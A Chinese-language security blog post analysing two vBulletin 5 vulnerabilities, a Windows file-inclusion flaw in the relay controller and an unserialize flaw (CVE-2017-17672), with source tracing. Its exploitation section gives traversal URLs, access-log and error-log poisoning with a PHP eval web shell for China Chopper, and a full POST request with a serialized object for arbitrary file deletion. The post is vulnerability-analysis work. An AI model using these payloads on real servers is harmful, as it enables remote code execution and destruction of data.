首页 » Network_security » Penetration » 正文

vBulletin Forum v5双0day分析礼包

0x00 概述

前段时间网上爆出vbulletin v5论坛的两个0day,一个是文件包含导致代码执行,另一个是反序列化漏洞(cve-2017-17672),本文结合源码对这两个0day进行分析,主要参考https://blogs.securiteam.com/index.php/archives/3573https://blogs.securiteam.com/index.php/archives/3569

 

0x01 rce漏洞

首先看看index.php:

$app = vB5_Frontend_Application::init('config.php');
//todo, move this back so we can catch notices in the startup code. For now, we can set the value in the php.ini
//file to catch these situations.
// We report all errors here because we have to make Application Notice free
error_reporting(E_ALL | E_STRICT);

$config = vB5_Config::instance();
if (!$config->report_all_php_errors) {
    // Note that E_STRICT became part of E_ALL in PHP 5.4
    error_reporting(E_ALL & ~(E_NOTICE | E_STRICT));
}

$routing = $app->getRouter();
$controller = $routing->getController();
$method = $routing->getAction();
$template = $routing->getTemplate();

$class = 'vB5_Frontend_Controller_' . ucfirst($controller);

if (!class_exists($class))
{
    // @todo - this needs a proper error message
    die("Couldn't find controller file for $class");
}

vB5_Frontend_ExplainQueries::initialize();
$c = new $class($template);

call_user_func_array(array(&$c, $method), $routing->getArguments());

vB5_Frontend_ExplainQueries::finish();

大概看出是初始化配置,那就进入init这个方法看看,在

/includes/vb5/frontend/application.php:

public static function init($configFile)
    {
        parent::init($configFile);

        self::$instance = new vB5_Frontend_Application();
        self::$instance->router = new vB5_Frontend_Routing();
        self::$instance->router->setRoutes();
        self::$instance->router->processExternalLoginProviders();
        $styleid = vB5_Template_Stylevar::instance()->getPreferredStyleId();

重点关注setRoutes(),应该是设置路由,继续跟进这个方法:
/includes/vb5/frontend/routing.php:

function setRoutes()
    {
        $this->processQueryString();

        //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it
        //$path = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : '';

        if (isset($_GET['routestring']))
        {
            $path = $_GET['routestring'];

            // remove it from $_GET
            unset($_GET['routestring']);

            // remove it from $_SERVER
            parse_str($_SERVER['QUERY_STRING'], $queryStringParameters);
            unset($queryStringParameters['routestring']);
            $_SERVER['QUERY_STRING'] = http_build_query($queryStringParameters, '', '&'); // Additional parameters of http_build_query() is required. See VBV-6272.
        }
        else if (isset($_SERVER['PATH_INFO']))
        {
            $path = $_SERVER['PATH_INFO'];
        }
        else
        {
            $path = '';
        }

        if (strlen($path) AND $path{0} == '/')
        {
            $path = substr($path, 1);
        }

        //If there is an invalid image, js, or css request we wind up here. We can't process any of them
        if (strlen($path) > 2 )
        {
            $ext = strtolower(substr($path, -4)) ;
            if (($ext == '.gif') OR ($ext == '.png') OR ($ext == '.jpg') OR ($ext == '.css')
                OR (strtolower(substr($path, -3)) == '.js') )
            {
                header("HTTP/1.0 404 Not Found");
                die('');
            }
        }

        try
        {
            $message = ''; // Start with no error.
            $route = Api_InterfaceAbstract::instance()->callApi('route', 'getRoute', array('pathInfo' => $path, 'queryString' => $_SERVER['QUERY_STRING']));
        }
        catch (Exception $e)
        {
            $message = $e->getMessage();

            if ($message != 'no_vb5_database')
            {
                /* Some other exception happened */
                vB5_ApplicationAbstract::handleException($e, true);
            }
        }

        if (isset($route['errors']))
        {
            $message = $route['errors'][0][1];

            if ($message != 'no_vb5_database')
            {
                /* Some other exception happened */
                throw new vB5_Exception($message);
            }
        }

        if ($message == 'no_vb5_database')
        {
            /* Seem we dont have a valid vB5 database */
            // TODO: as we removed baseurl from config.php, we need to find a way redirecting user to installer correctly.
            header('Location: core/install/index.php');
            exit;
        }

        if (!empty($route))
        {
            if (isset($route['redirect']))
            {
                header('Location: ' . vB5_Template_Options::instance()->get('options.frontendurl') . $route['redirect'], true, 301);
                exit;
            }
            else if (isset($route['internal_error']))
            {
                vB5_ApplicationAbstract::handleException($route['internal_error']);
            }
            else if (isset($route['banned_info']))
            {
                vB5_ApplicationAbstract::handleBannedUsers($route['banned_info']);
            }
            else if (isset($route['no_permission']))
            {
                vB5_ApplicationAbstract::handleNoPermission();
            }
            else if (isset($route['forum_closed']))
            {
                vB5_ApplicationAbstract::showMsgPage('', $route['forum_closed'], 'bbclosedreason'); // Use 'bbclosedreason' as state param here to match the one specified in vB_Api_State::checkBeforeView()
                die();
            }
            else
            {
                $this->routeId         = $route['routeid'];
                $this->routeGuid       = $route['routeguid'];
                $this->controller      = $route['controller'];
                $this->action          = $route['action'];
                $this->template        = $route['template'];
                $this->arguments       = $route['arguments'];
                $this->queryParameters = $route['queryParameters'];
                $this->pageKey         = $route['pageKey'];

                if (!empty($route['userAction']) AND is_array($route['userAction']))
                {
                    $this->userAction['action'] = array_shift($route['userAction']);
                    $this->userAction['params'] = $route['userAction'];
                }
                else
                {
                    $this->userAction = false;
                }

                $this->breadcrumbs = $route['breadcrumbs'];
                $this->headlinks = $route['headlinks'];

                if (!in_array($this->action, $this->whitelist))
                {
                    vB5_ApplicationAbstract::checkState($route);
                }

                return;
            }
        }
        else
        {
            // if no route was matched, try to parse route as /controller/method
            $stripped_path = preg_replace('/[^a-z0-9\/-]+/i', '', trim(strval($path), '/'));
            if (strpos($stripped_path, '/'))
            {
                list($controller, $method) = explode('/', strtolower($stripped_path), 2);
            }
            else
            {
                $controller = $stripped_path;
                $method = 'index';
            }

            $controller = preg_replace_callback('#(?:^|-)(.)#', function($matches)
            {
                return strtoupper($matches[1]);
            }, strtolower($controller));
            $method = preg_replace_callback('#(?:^|-)(.)#', function($matches)
            {
                return strtoupper($matches[1]);
            }, strtolower($method));

            $controllerClass = 'vB5_Frontend_Controller_' . $controller;
            $controllerMethod = 'action' . $method;

            if (class_exists($controllerClass) AND method_exists($controllerClass, $controllerMethod))
            {
                $this->controller = strtolower($controller);
                $this->action = $controllerMethod;
                $this->template = '';
                $this->arguments = array();
                $this->queryParameters = array();
                if (!in_array($this->action, $this->whitelist))
                {
                    vB5_ApplicationAbstract::checkState(array('controller' => $this->controller, 'action' => $this->action));
                }
                return;
            }
        }

        //this could be a legacy file that we need to proxy.  The relay controller will handle
        //cases where this is not a valid file.  Only handle files in the "root directory".  We'll
        //handle deeper paths via more standard routes.
        if (strpos($path, '/') === false)
        {
            $this->controller = 'relay';
            $this->action = 'legacy';
            $this->template = '';
            $this->arguments = array($path);
            $this->queryParameters = array();
            return;
        }

重点关注如下:

$path = $_GET['routestring'];   //获取routestring

if (strlen($path) > 2 )
        {
            $ext = strtolower(substr($path, -4)) ;
            if (($ext == '.gif') OR ($ext == '.png') OR ($ext == '.jpg') OR ($ext == '.css')
                OR (strtolower(substr($path, -3)) == '.js') )
            {
                header("HTTP/1.0 404 Not Found");
                die('');
            }
        }

如果是.gif/.png/.jpg/.css/.js就die掉。

if (strpos($path, ‘/’) === false)

{

$this->controller = ‘relay’;

$this->action = ‘legacy’;

$this->template = ”;

$this->arguments = array($path);

$this->queryParameters = array();

return;

}

$path(就是routestring)不含有/就调用relay控制器的legacy方法,结合上述就是routestring不是.git/.png/.jpg/.css/.js后缀并且没有/,就调用legacy。

那么接下来就进入relay看看:
/includes/vb5/frontend/controller/relay.php:

public function legacy($file)
    {
        $api = Api_InterfaceAbstract::instance();
        $api->relay($file);
    }

是冲刺的时候了,再进入这个api接口。/include/api/interface/collapsed.php:

public function relay($file)
    {
        $filePath = vB5_Config::instance()->core_path . '/' . $file;

        if ($file AND file_exists($filePath))
        {
            require_once($filePath);
        }
        else
        {
            // todo: redirect to 404 page instead
            throw new vB5_Exception_404("invalid_page_url");
        }
    }

终于看见这个漏洞点relay方法了,可以看到包含了$filePath就是url的routestring参数,要注意的是限制了不能使用/,所以无法在linux系统下切换目录,但是在windows系统可以不用/而用..\切换目录。

总结漏洞触发流程:
index.php(init)–>application.php(setRoute)–>routing.php(legacy方法)–>relay.php(调用legacy)–>collapsed.php(relay方法包含文件)

所以判断的时候可以构造url:
www.vbulletinvuln.com/index.php?routestring=.\\

如果报错:类似无法打开collapsed.php则存在此漏洞。

若想执行代码,则构造url:
www.vbulletinvuln.com/?LogINJ_START=<?php phpinfo();?>LogINJ_END

Phpinfo就写入了access.log,接下来包含即可,如:
www.vbulletinvuln.com/index.php?routestring=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\xampp\\apache\\logs\\access.log

 

或者利用error.log亦可:
请求

http://172.16.12.2/vb5/index.php<?php @eval($_POST[lse]);?>

改包:

菜刀连接

http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log

 

0x02 反序列化漏洞(cve-2017-17672)

这是由于攻击者可以构造序列化输入从而反序列化导致可以删除任意文件。

看看core/vb/api/template.php:

public function cacheTemplates($templates, $templateidlist, $skip_bbcode_style = false, $force_set = false)
    {
        $vboptions = vB::getDatastore()->get_value('options');
        $templateassoc = unserialize($templateidlist);

还有参考文章提到的core/vb/library/template.php:

public function cacheTemplates($templates, $templateidlist, $skip_bbcode_style = false, $force_set = false)
    {
        $vboptions = vB::getDatastore()->get_value('options');
        $templateassoc = unserialize($templateidlist);

额……和参考文章的不太一样,那继续分析吧,可以看出反序列化了$templateidlist,vB_Library_Template 的 cacheTemplates() 函数是一个公开的 API,允许从数据库获取一组给定模板的信息以便将它们存储在缓存变量中。 $ templateidlist 变量可以直接从用户输入提供给 unserialize(),就是说$templateidlist参数可控,这就好办了,所以只要构造数据包,如:
POST /vbulletinvuln/ajax/api/template/cacheTemplates HTTP/1.1

Host: www.vbulletinvuln.com

Pragma: no-cache

Cache-Control: no-cache

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/61.0.3163.100 Safari/537.36

Upgrade-Insecure-Requests: 1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 125

 

templates[]=1&templateidlist=O:20:”vB_Image_ImageMagick”:1:{s:20:”%00*%00imagefilelocation”;s:13:”/path/to/file”;}

服务器返回:
“errors”:[[“unexpected_error”,”Cannot use object of type vB_Image_ImageMagick as array”]]}

貌似就可以删除任意文件了。

 

0x03 结语

重现利用了ichunqiu的实验环境,本人搭建的时候提示如下图

一番修改后如下图

源码是网上找的,可能有些问题。

求大神给可用源码,感激不尽!

0x04 参考资料

https://www.t00ls.net/articles-43174.html

https://blogs.securiteam.com/index.php/archives/3573

https://blogs.securiteam.com/index.php/archives/3569

 

本文共 3 个回复

  • woqumaigejuzi 2018/01/15 06:10

    :shock: six six six

  • woqumaigejuzi 2018/01/15 06:16

    awesome website, and unbelievably go to top button doesn't work

    • LSA Blogger 2018/01/15 12:19

      @ woqumaigejuzi I will fix this problem as soon as possible,thankyou so much!

Comment